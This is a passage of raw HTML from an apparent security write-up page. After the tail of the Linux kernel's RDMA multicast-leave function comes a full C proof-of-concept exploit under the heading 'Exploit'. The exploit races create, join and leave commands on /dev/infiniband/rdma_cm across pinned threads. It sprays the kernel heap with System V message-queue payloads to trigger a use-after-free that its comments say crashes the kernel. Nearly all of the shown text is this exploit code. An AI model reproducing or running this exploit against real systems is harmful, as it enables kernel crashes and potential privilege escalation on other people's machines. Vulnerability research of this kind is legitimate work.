class=\"crayon-e\">ucma_cleanup_mc_events<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-36\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">list_del<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">list<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-37\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">mutex_unlock<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">ctx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">file<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">mut<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-38\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-39\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">ucma_put_ctx<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">ctx<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-40\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-v\">resp<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">events_reported<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">events_reported<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-41\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">kfree<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-42\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-43\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">copy_to_user<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">u64_to_user_ptr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">cmd<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">response<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-44\"><span class=\"crayon-h\">\t\t\t <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">resp<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">resp<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-45\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-v\">ret<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">EFAULT<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-46\"><span class=\"crayon-v\">out<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-47\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ret<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-48\"><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0051 seconds] -->  <\/p>\n<p><strong>Exploit<\/strong><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b6383596d206230643600\" class=\"crayon-syntax crayon-theme-sublime-text crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<p><span class=\"crayon-language\">C<\/span><\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> #define _GNU_SOURCE  #include &lt;endian.h&gt;  #include &lt;linux\/futex.h&gt;  #include &lt;pthread.h&gt;  #include &lt;stdint.h&gt;  #include &lt;stdlib.h&gt;  #include &lt;string.h&gt;  #include &lt;sys\/syscall.h&gt;  #include &lt;unistd.h&gt;  #include &lt;stdio.h&gt;  #include &lt;sys\/mman.h&gt;  #include &lt;sys\/ipc.h&gt;  #include &lt;sys\/msg.h&gt;  #include &lt;sys\/time.h&gt;    #include &lt;sched.h&gt;    #define SEND 1  #define RECV 0  #define RDMATHREADS 30    static void test();  void createThreads();  void testTreadWake();  void exitRdmaThreads();    void loop()  {      createThreads();      while (1) {          test();      }  }    struct thread_t {      int created, running, call, CPUNumber, exitFlag;      pthread_t th;  };    struct msgInfo {      int msgid;      int CPUNumber;      int sendOrRecv; \/\/true: send ; false: recv  };    struct {      long mtype;      char mtext[0xAC];  \/\/char mtext[0xB0];  } msg = {0x42, {0}};    static struct thread_t *threads;  static void execute_call(int call);  static int running;  static int collide;    int threadWaittingNum = 0;  int sendCount = 0;  int *sendNum = 0;    int *threadWaitting;  int *threadRunning;  int *ipcThreadStop;      void setAffinity(void* arg);    static void* thr(void* arg)  {      struct thread_t* th = (struct thread_t*)arg;      struct msgInfo setRdmaCPUInfo;      setRdmaCPUInfo.CPUNumber = th-&gt;CPUNumber;        setAffinity(&amp;setRdmaCPUInfo);        for (;;) {          while (!__atomic_load_n(&amp;th-&gt;running, __ATOMIC_ACQUIRE))          {              syscall(SYS_futex, &amp;th-&gt;running, FUTEX_WAIT, 0, 0);          }          if(__atomic_load_n(&amp;th-&gt;exitFlag, __ATOMIC_ACQUIRE))          {              syscall(SYS_futex, &amp;th-&gt;running, FUTEX_WAKE);              pthread_detach(pthread_self());              return 0;          }          execute_call(th-&gt;call);          __atomic_fetch_sub(&amp;running, 1, __ATOMIC_RELAXED);          __atomic_store_n(&amp;th-&gt;running, 0, __ATOMIC_RELEASE);          syscall(SYS_futex, &amp;th-&gt;running, FUTEX_WAKE);      }      return 0;  }    int threadNum = 0;  void createThreads()  {      int policy = 0;      int max_prio_for_policy = 0;      threads = mmap(NULL, sizeof(struct thread_t)*RDMATHREADS, PROT_READ |                     PROT_WRITE,                     MAP_ANONYMOUS | MAP_SHARED, -1, 0);        for (int thread = 0; thread &lt; RDMATHREADS; thread++) {          struct thread_t* th = &amp;threads[thread];          if (!th-&gt;created) {              th-&gt;created = 1;              th-&gt;exitFlag = 0;              th-&gt;CPUNumber = (thread==0 ? 0 : 1);              pthread_attr_t attr;              pthread_attr_init(&amp;attr);              pthread_attr_setstacksize(&amp;attr, 128 &lt;&lt; 10);              if(thread == 0)              {                  pthread_create(&amp;th-&gt;th, &amp;attr, thr, th);                  perror(&#8220;Warning_1111: &#8220;);              }              else                  pthread_create(&amp;th-&gt;th, &amp;attr, thr, th);              pthread_attr_getschedpolicy(&amp;attr, &amp;policy);              max_prio_for_policy = sched_get_priority_min(policy);                pthread_setschedprio(th-&gt;th, max_prio_for_policy);              pthread_attr_destroy(&amp;attr);          }      }    }    void readTime(int call)  {      struct timeval tv;      printf(&#8220;run at %dn&#8221;,call);      gettimeofday(&amp;tv,NULL);      printf(&#8220;sendNum is ==== %d at %d n&#8221;, __atomic_load_n(sendNum,              __ATOMIC_ACQUIRE), call);      printf(&#8220;millisecond:%ldn&#8221;,tv.tv_sec*1000000  + tv.tv_usec);      return;  }    uint64_t r[3] = {0xffffffffffffffff, 0xffffffff, 0xffffffff};  uint64_t procid;  void execute_call(int call)  {      \/\/printf(&#8220;call is %dn&#8221;,call);      long res;      switch (call) {      case 0:          *(uint32_t*)0x20000080 = 0;          \/\/printf(&#8220;create&#8230;&#8230;&#8230;n&#8221;);          *(uint16_t*)0x20000084 = 0x18;          *(uint16_t*)0x20000086 = 0xfa00;          *(uint64_t*)0x20000088 = 2;          *(uint64_t*)0x20000090 = 0x20000040;          *(uint16_t*)0x20000098 = 0x111;          *(uint8_t*)0x2000009a = 0xd;          *(uint8_t*)0x2000009b = 0;          *(uint8_t*)0x2000009c = 0;          *(uint8_t*)0x2000009d = 0;          *(uint8_t*)0x2000009e = 0;          *(uint8_t*)0x2000009f = 0;          res = syscall(__NR_write, r[0], 0x20000080, 0x20); \/\/ create          if (res != -1)              r[1] = *(uint32_t*)0x20000040;          break;      case 1:          printf(&#8220;join&#8230;&#8230;&#8230;n&#8221;);          *(uint32_t*)0x20000180 = 0x16;          *(uint16_t*)0x20000184 = 0x98;          *(uint16_t*)0x20000186 = 0xfa00;          *(uint64_t*)0x20000188 = 0x20000140;          *(uint64_t*)0x20000190 = 3;          *(uint32_t*)0x20000198 = r[1];          *(uint16_t*)0x2000019c = 0x10;          *(uint16_t*)0x2000019e = 1;          *(uint16_t*)0x200001a0 = 2;          *(uint16_t*)0x200001a2 = htobe16(0x4e23);          *(uint8_t*)0x200001a4 = 0xac;          *(uint8_t*)0x200001a5 = 0x14;          *(uint8_t*)0x200001a6 = 0x14;          *(uint8_t*)0x200001a7 = 0xbb;          *(uint8_t*)0x200001a8 = 0;          *(uint8_t*)0x200001a9 = 0;          *(uint8_t*)0x200001aa = 0;          *(uint8_t*)0x200001ab = 0;          *(uint8_t*)0x200001ac = 0;          *(uint8_t*)0x200001ad = 0;          *(uint8_t*)0x200001ae = 0;          *(uint8_t*)0x200001af = 0;          __atomic_store_n(sendNum, 0, __ATOMIC_RELEASE);  \/\/readTime(1);          res = syscall(__NR_write, r[0], 0x20000180, 0xa0); \/\/          ucma_join_multicast alloc &#8220;mc&#8221;, and then the function will free it and          &#8220;ctx&#8221;, if there are some error.  \/\/readTime(11111);          if (res != -1)                  r[2] = *(uint32_t*)0x20000140;          break;      case 2:          \/\/printf(&#8220;leave&#8230;&#8230;&#8230;n&#8221;);          *(uint32_t*)0x20000240 = 0x11;          *(uint16_t*)0x20000244 = 0x10;          *(uint16_t*)0x20000246 = 0xfa00;          *(uint64_t*)0x20000248 = 0x20000100;            *(uint32_t*)0x20000250 = 0; \/\/ set id            *(uint32_t*)0x20000254 = 0;          __atomic_store_n(sendNum, 0, __ATOMIC_RELEASE);  \/\/readTime(2);          syscall(__NR_write, r[0], 0x20000240, 0x18); \/\/          ucma_leave_multicast() find &#8220;mc&#8221;, and use it and &#8220;ctx&#8221;. Crash in it.          break;      }  }  void runJoin()  {      __atomic_store_n(threadRunning, 1, __ATOMIC_RELEASE);      syscall(SYS_futex, threadWaitting, FUTEX_WAKE, threadWaittingNum,              NULL, NULL, 0);      struct thread_t* th = &amp;threads[0];      if (th-&gt;created) {          __atomic_store_n(&amp;th-&gt;call, 1, __ATOMIC_RELEASE);          __atomic_fetch_add(&amp;running, 1, __ATOMIC_RELAXED);          __atomic_store_n(&amp;th-&gt;running, 1, __ATOMIC_RELEASE);            syscall(SYS_futex, &amp;th-&gt;running, FUTEX_WAKE);      }  }  int count = 0;    void runCreateOrLeave(int call, int threadNum)  {      struct thread_t* th = &amp;threads[threadNum]; \/\/ 0 or 1      struct timespec ts;      if (th-&gt;created) {          __atomic_store_n(&amp;th-&gt;call, call,  __ATOMIC_RELEASE);            __atomic_fetch_add(&amp;running, 1, __ATOMIC_RELAXED);          __atomic_store_n(&amp;th-&gt;running, 1, __ATOMIC_RELEASE);            syscall(SYS_futex, &amp;th-&gt;running, FUTEX_WAKE);      }      ts.tv_sec = 0;      ts.tv_nsec = 20 * 1000 * 1000;      syscall(SYS_futex, &amp;th-&gt;running, FUTEX_WAIT, 1, &amp;ts);  }    void runCreateOrLeaveNoWait(int call, int threadNum)  {      struct thread_t* th = &amp;threads[threadNum];      if (th-&gt;created) {          __atomic_store_n(&amp;th-&gt;call, call,  __ATOMIC_RELEASE);          __atomic_fetch_add(&amp;running, 1, __ATOMIC_RELAXED);          __atomic_store_n(&amp;th-&gt;running, 1, __ATOMIC_RELEASE);          syscall(SYS_futex, &amp;th-&gt;running, FUTEX_WAKE);      }  }    void exitRdmaThreads()  {      struct timespec ts;      struct thread_t* th;      th = &amp;threads[0];        ts.tv_sec = 0;      ts.tv_nsec = 20 * 1000 * 1000;      syscall(SYS_futex, &amp;th-&gt;running, FUTEX_WAIT, 1, &amp;ts);        for(int i = 0; i &lt; RDMATHREADS; i++)      {          th = &amp;threads[i];          if (th-&gt;created) {              th-&gt;created = 0;              __atomic_store_n(&amp;th-&gt;exitFlag, 1, __ATOMIC_RELEASE);              __atomic_fetch_add(&amp;running, 1, __ATOMIC_RELAXED);              __atomic_store_n(&amp;th-&gt;running, 1, __ATOMIC_RELEASE);                syscall(SYS_futex, &amp;th-&gt;running, FUTEX_WAKE);              struct timespec ts;              ts.tv_sec = 0;              ts.tv_nsec = 20 * 1000 * 1000;              syscall(SYS_futex, &amp;th-&gt;running, FUTEX_WAIT, 1, &amp;ts);          }      }      munmap(threads, sizeof(struct thread_t)*RDMATHREADS);        if(sendCount)          syscall(SYS_futex, ipcThreadStop, FUTEX_WAIT, 1, NULL, NULL, 0);  }    void setAffinity(void *arg)  {      int i;      cpu_set_t mask;      cpu_set_t get;      int cpuId = ((struct msgInfo*)arg)-&gt;CPUNumber;        CPU_ZERO(&amp;mask);      CPU_SET(cpuId, &amp;mask);        if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &amp;mask) &lt; 0) {          fprintf(stderr, &#8220;set thread affinity failedn&#8221;);      }        CPU_ZERO(&amp;get);      if (pthread_getaffinity_np(pthread_self(), sizeof(get), &amp;get) &lt; 0) {          fprintf(stderr, &#8220;get thread affinity failedn&#8221;);      }  }    void *holeThread(struct msgInfo *msgInfo)  {      int msgid = msgInfo-&gt;msgid;      setAffinity(&amp;msgInfo);      if(msgInfo-&gt;sendOrRecv == SEND)      {          while(1)          {              __atomic_fetch_add(&amp;threadWaittingNum, 1, __ATOMIC_RELAXED);                syscall(SYS_futex, threadWaitting, FUTEX_WAIT, 1, NULL, NULL, 0);              while(__atomic_load_n(threadRunning, __ATOMIC_ACQUIRE))              {                  if (msgsnd(msgid, &amp;msg, sizeof(msg.mtext), 0) == -1) {                      perror(&#8220;msgsnd&#8221;);                      exit(1);                  }                  __atomic_fetch_add(&amp;sendCount, 1, __ATOMIC_RELAXED);                  __atomic_fetch_add(sendNum, 1, __ATOMIC_RELAXED);              }              __atomic_fetch_sub(&amp;threadWaittingNum, 1, __ATOMIC_RELAXED);          }      }      else      {          while(1)          {              __atomic_fetch_add(&amp;threadWaittingNum, 1, __ATOMIC_RELAXED);              syscall(SYS_futex, threadWaitting, FUTEX_WAIT, 1, NULL, NULL, 0);              int tSendCount = 0;              while(__atomic_load_n(&amp;sendCount, __ATOMIC_ACQUIRE))              {                  if(__atomic_load_n(&amp;sendCount, __ATOMIC_ACQUIRE)&lt;5)                  {                      usleep(1000*1000);                      continue;                  }                  if (msgrcv(msgid, &amp;msg, sizeof(msg.mtext), 0x42, 0) == -1) {                      perror(&#8220;msgrcv error !!!!&#8221;);                      exit(1);                  }                  __atomic_fetch_sub(&amp;sendCount, 1, __ATOMIC_RELAXED);                  __atomic_fetch_add(&amp;tSendCount, 1, __ATOMIC_RELAXED);              }              syscall(SYS_futex, ipcThreadStop, FUTEX_WAKE);              __atomic_fetch_sub(&amp;threadWaittingNum, 1, __ATOMIC_RELAXED);          }      }  }    void createHoleThreads(struct msgInfo *msgInfo)  {      pthread_t tid;      pthread_attr_t thAttr;      int policy = 0;      int max_prio_for_policy = 0;        if (pthread_create(&amp;tid, NULL, (void *)holeThread, msgInfo) != 0) {          perror(&#8220;create thread&#8221;);          fprintf(stderr, &#8220;thread create failedn&#8221;);          return;      }        pthread_attr_init(&amp;thAttr);      pthread_attr_getschedpolicy(&amp;thAttr, &amp;policy);      max_prio_for_policy = sched_get_priority_max(policy);        pthread_setschedprio(tid, max_prio_for_policy);      pthread_attr_destroy(&amp;thAttr);      return;  }    void test()  {      printf(&#8220;===== run test %d ====n&#8221;,count++);      long res = -1;      memcpy((void*)0x20000680, &#8220;\/dev\/infiniband\/rdma_cm&#8221;, 24);      res = syscall(__NR_openat, 0xffffffffffffff9c, 0x20000680, 2, 0);      if (res != -1)          r[0] = res;        collide = 1;      runCreateOrLeave(0, 1); \/\/ run rdma create on CPU 0 and Thread 1      runJoin(); \/\/ run rdma Join on CPU 0 and Thread 0      for(int i = 3; i &lt; RDMATHREADS; i++)          runCreateOrLeaveNoWait(2, i); \/\/ run rdma leave on CPU 1 and Thread      [3:RDMATHREADS-1]        runCreateOrLeave(2, 2); \/\/ run rdma leave on CPU 1 and Thread 2        __atomic_store_n(threadRunning, 0, __ATOMIC_RELEASE);        if(res != -1)          close(res);  }    void testTreadWake()  {      syscall(SYS_futex, threadWaitting, FUTEX_WAKE, 200, NULL, NULL, 0);      perror(&#8220;threadWaitting_1: &#8220;);  }    int main()  {      syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);      memset(msg.mtext, &#8216;x41&#8217;, sizeof(msg.mtext));      int pid = 0;      int msgid = 0;      struct msgInfo sendHoleInfo;      struct msgInfo recvHoleInfo;        struct msgInfo sendHoleInfo_1;      struct msgInfo recvHoleInfo_1;        threadWaitting = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE,                            MAP_ANONYMOUS | MAP_SHARED, -1, 0);      *threadWaitting = 1;        threadRunning = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE,                           MAP_ANONYMOUS | MAP_SHARED, -1, 0);      *threadRunning = 0;        ipcThreadStop = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE,                           MAP_ANONYMOUS | MAP_SHARED, -1, 0);      *ipcThreadStop = 1;        sendNum = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE,                     MAP_ANONYMOUS | MAP_SHARED, -1, 0);      *sendNum = 0;        if ((msgid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {          perror(&#8220;msgget&#8221;);          exit(1);      }        sendHoleInfo.msgid = msgid;      sendHoleInfo.sendOrRecv = SEND;      sendHoleInfo.CPUNumber = 0;        recvHoleInfo.msgid = msgid;      recvHoleInfo.sendOrRecv = RECV;      recvHoleInfo.CPUNumber = 1;        printf(&#8220;Creating ipc msg threadsn&#8221;);        for(int i = 0; i &lt; 250; i++) {          createHoleThreads(&amp;sendHoleInfo);      }      for(int i = 0; i &lt; 150; i++) {          createHoleThreads(&amp;recvHoleInfo);      }        printf(&#8220;Ipc msg threads are createdn&#8221;);        for (procid = 0; procid &lt; 1; procid++) {          if (fork() == 0) {              \/\/for (;;) {              loop();              \/\/}          }      }      printf(&#8220;ending&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;n&#8221;);      sleep(1000000);      return 0;  }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-50\">50<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-51\">51<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-52\">52<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-53\">53<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-54\">54<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-55\">55<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-56\">56<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-57\">57<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-58\">58<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-59\">59<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-60\">60<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-61\">61<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-62\">62<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-63\">63<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-64\">64<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-65\">65<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-66\">66<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-67\">67<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-68\">68<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-69\">69<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-70\">70<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-71\">71<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-72\">72<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-73\">73<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-74\">74<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-75\">75<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-76\">76<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-77\">77<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-78\">78<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-79\">79<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-80\">80<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-81\">81<\/div>\n<div class=\"crayon-num crayon-striped-num\" 